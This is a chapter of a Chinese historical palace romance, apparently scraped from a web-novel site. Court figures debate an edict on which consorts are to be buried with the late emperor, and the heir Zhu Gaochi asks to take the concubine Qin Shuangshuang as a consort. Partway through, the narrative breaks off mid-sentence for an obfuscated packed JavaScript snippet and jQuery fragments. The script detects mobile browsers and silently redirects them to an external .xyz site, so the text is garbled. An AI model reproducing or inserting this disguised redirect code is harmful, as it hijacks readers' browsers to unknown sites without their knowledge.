下定了决心跟他出宫,秦双双也就不在刻意疏远朱高炽,当他放慢步子要与她齐肩往里走时也没有抗拒。
老天爷真是有趣,没钓来俊俏的皇长孙,倒被人高马大的世子爷截了胡。
既然决定跟了朱高炽,自然就没有再见朱允炆的必要。
等下他们二个相见肯定要谈起这事,她在旁边听着多尴尬,这样的事还是他们兄弟关起门来私下敲定的好。
伸手轻轻扯了扯对方衣袖,水一样的薄纱划过朱高炽手背,带着温热,都能想到那衣衫主人温柔似水的娇柔模样,秦双双害怕走在前面的王忠听见,他回头的那一刻,手指轻放唇边。
朱高炽秒懂,嘴型说了句,“怎么了。”
一双眼不安的看向殿外,他知道秦双双紧张不想进去,可朱允炆已经传召她二人,无视殿下召见可是大不敬,抬起大手拍了拍厚实的胸脯,示意她,“有我在,别担心。”
殿下与他一向亲近,又是兄弟,不会叫他为难的。
秦双双不在纠结,能保护美人,朱高炽心里燃起熊熊男子气概,堪比上战场厮杀的将军。
一双燃着烈火般灼热的目光钉的秦双双娇羞起来,下巴昂起,腰背挺得笔直,若不是要配合她的步子,早就大步流星走到王忠前头去了。
捅破了这层窗户纸,这事就板上钉钉了,虽然一时半会还不能回北平完婚,但赐婚诏书在手,朱高炽心里也算彻底踏实了。
王忠率先走到朱允炆身前去回话。
进了大殿,正对门的是一张案几和明黄的座椅,往里间瞧去,秦双双的目光一下就被坐在窗边榻上一身红色蟒服的朱允炆吸引,五爪龙纹的刺绣掺着金银丝线,趁的本就俊朗的朱允炆更显威严,修长的腿笔直的垂到地面,正在低头品茶,微斜的身子看得出方才的争吵叫他疲累不堪。
食色性也,眼神回落到一张脸略显圆润的朱高炽身上,好人卡的优势就没那么明显了。
见人进来,朱允炆放下了茶杯,展露出一丝紧张过后的松弛感,秦双双故意往朱高炽身边靠了靠,借抬脚观察朱允炆的神色,对他二人同时出现,到底作何反应。
她并没有从那张脸上看见预料中的吃惊或诧异。
朱允炆表现得丝毫不介意对她来说明明是好事,心里反倒突生一丝失落来。
有了朱高炽作陪也分散了秦双双心中的紧张感,进去后只规规矩矩站在朱高炽身边,并未刻意靠近,也没拉开距离。
王忠解释道,“才人来谢殿下赏赐药酒之恩,在殿外等着时遇上世子爷,便一起进来了。”
朱允炆想起她今日禁足之期已到,摆正坐姿用皇宫主子的身份道,“秦才人久在深宫,不比太子妃年轻,初掌六宫,更应该恪守宫规,不好给太子妃填乱,叫她忧心。”
就差明着说她“为老不尊”了。
秦双双心头窝火,低垂着头,轻声吐出一个字,“是。”
朱高炽一心想带人出宫,暂且不去计较这些琐碎,以后他有的是法子哄美人高兴。
朱允炆抬手示意赐座,朱高炽对这乾清宫殿再熟悉不过,顺势就坐到了朱允炆身旁另一侧的软榻上,以前每次来他也都坐那位置。
软榻只够一人宽坐,王忠搬来一个圆凳子,朱高炽原想叫秦双双坐在靠近自己的门口处,又觉得事情还没挑明,就没好意思干涉王忠,由得他随意放在哪。
王忠心里明镜般,殿下早就对秦才人暗心春动,不想世子爷突然来横插一脚,故意把椅子不偏不倚放在了二人正中间。
不管凳子单靠近朱允炆和朱高炽,秦双双坐过去,看二人的视线都是侧脸,可坐在了最中间,再要抬头就成了与并排坐的二人成了面对面。
这三角排列,她看谁,不看谁,多一眼少一眼,对面二人都一目了然。
秦双双觉得自己好像是被放在展台的吉祥物,任由大家观赏。
她既不敢看对她满是热诚的朱高炽,也不敢看冷冷冰冰的朱允炆,哪里还敢抬头,恨不得闭上眼装瞎才好。
自打她一进大殿,朱允炆就眼前一亮,与恩师争论积攒的乌云被一阵风一扫而散。
他喜欢长得好看的美人,就像御花园里的花,谁不爱开的最好最艳的那朵。
但若最好观赏那朵花的位置已站了旁人,总是叫人恼火,哪怕是自己兄弟。
朱高炽早就等的心焦,直接开门见山,“臣的提议,殿下考虑的如何了。”
“黄师父的脾气,你还不知道,这事哪有那么容易。”朱允炆搬出了黄子澄。
取消殉葬,这事确实难办,黄子澄固执己见不肯退让,朱允炆不得已以身份加持,逼得黄子澄无话可说只能退让,但朱允炆的做法也难免叫他痛心,师生恩情终盖不过君臣之礼,所以出门时看秦双双的眼神才带着哀怨。
朱允炆的心思,黄子澄如何不知,前几日已草拟好的妃嫔殉葬名单早已传发下去,堂堂君王朝令夕改,竟被一女子迷了心窍,连君威皇权都不顾了。
王忠奉命从书桌取来一道新圣旨给朱高炽看,是关于后宫妃嫔安置的。
宫内原定的四十八人殉葬名单,按有无儿女,家族父兄是否在朝为官,年轻年长是否侍寝,大致被划成了三类,殉葬,守皇陵,或降为宫女。
秦双双入宫三年却没有侍寝,更没有儿女,身份也是寻常百姓人家出身,属于对朝政最没威胁那一类,被划到了第三类,来日会被降为宫女。
做宫女就意味着要留在宫里。
将来会跟夏荷她们一样,被分派到各宫伺候小主,也可能会被派去干粗活,浆洗太监宫女衣物。
不管怎么样,好过不用丢命。
魏美人与她同批入宫,是这批秀女里唯一侍寝过的人,魏美人一直引以为傲觉得自己与其他秀女高人一等,不想这叫她引以为傲的一夜恩宠反而害了她,侍寝过的妃嫔又无儿女,且她父亲在她侍寝后也入朝做了五品守将,按规矩被划进了殉葬那一类。
就她那烈火性子,若是知道
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16423330|184824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了还不知会闹出什么事来。
朱允炆与朱高炽你一言我一语,如同闲话家常间就诉说完了一群人的命运。
圣旨已经拟好,很快就会传达到内廷,秦双双这条命一波三折算是彻底保住了,可心里一点也高兴不起来,眼前一直闪过魏美人那明艳照人脸变得惨白。
她没办法平静的聆听这些皇家的生死指令,这大殿里原本淡雅的香气此时却压得她喘不上气来。
朱高炽眼在圣旨上,心思却在秦双双身上,第一时间就察觉到了她的不适感,朱允炆随着他的目光看过去,女子身体微斜,却是有些不舒服的样子。
主动停了讨论圣旨名单。
看出了她的不自在,朱高炽也不在去为那些殉葬的宫嫔说情,再次提起了他的建议,要带包含秦双双在内的五名即将被贬为宫女的妃嫔回北平。
不过是几个宫女的去留,本也不是什么大事,他压根就没想过朱允炆会反对,朱高炽明显有些急了,“不过是几个宫女,殿下为何不许。”
朱允炆解释道,“他们都是伺候过皇爷爷的妃嫔,即便日后做了宫女那也是皇家的人,怎可委身去嫁给百姓之身的军士。”
皇家最看重颜面,秦双双算是听明白了,她们五人这辈子是别想再出宫嫁人了。
这天下无非就是百姓与皇室,不能嫁给百姓正好嫁给皇家,这不是巧吗,他朱高炽就是正统的皇家子孙。
有了朱允炆这番话秦双双就更理由离开燕王府了,朱高炽非但不气反倒高兴起来,心里再高兴,面上也不好表露出来,故作为难道,“等出宫我自会帮她们改换身份,定不会有人知道。”
这事朱高炽不是随口一说,他还真细细想过,不为了皇家颜面,他也会帮秦双双改个体面身份,只为叫她来日住进燕王府不会被歧视,与大家平等相处。
见朱高炽不死心,朱允炆有些不解,北平单身军士何止成百上千,区区五个女子,能挡多少事,值得他这般不依不饶。
只好耐着性子,朱允炆继续道,“她们养在宫里多年,你能改变她们的身份能掩藏住她们一举一动的皇家做派吗。”
宫里的妃嫔入宫前都要学习宫规,入宫后更是恪守规矩,一言一行一频一笑早就被皇家规矩腌透了,放在京城显贵人家或许不明显,但若出了京城,眼角眉梢谈吐见识就是那官员大户女子也不能比。
更何况,一个个青葱玉指养尊处优,一杯茶一口饭都有人喂到嘴边的娇柔娘娘,别说跟着军士去边关吃苦,就是大户人家的日子怕是也过不惯。
她们早习惯了宫里生活,不想叫她们出宫,朱允炆也是不想日后惹出不必要的麻烦。
大明宫里宫殿住所成百上千,总有地方安置她们,何必放出宫外留个隐患。
朱允炆一口一个皇家,借着这个话头朱高炽一副理解万岁,甘心为殿下分忧的样子,起身跪在地上,给他行了个跪拜大礼,“既不能嫁给寻常百姓,那臣肯请皇兄将秦双双赐予臣做侧妃,带回北平”。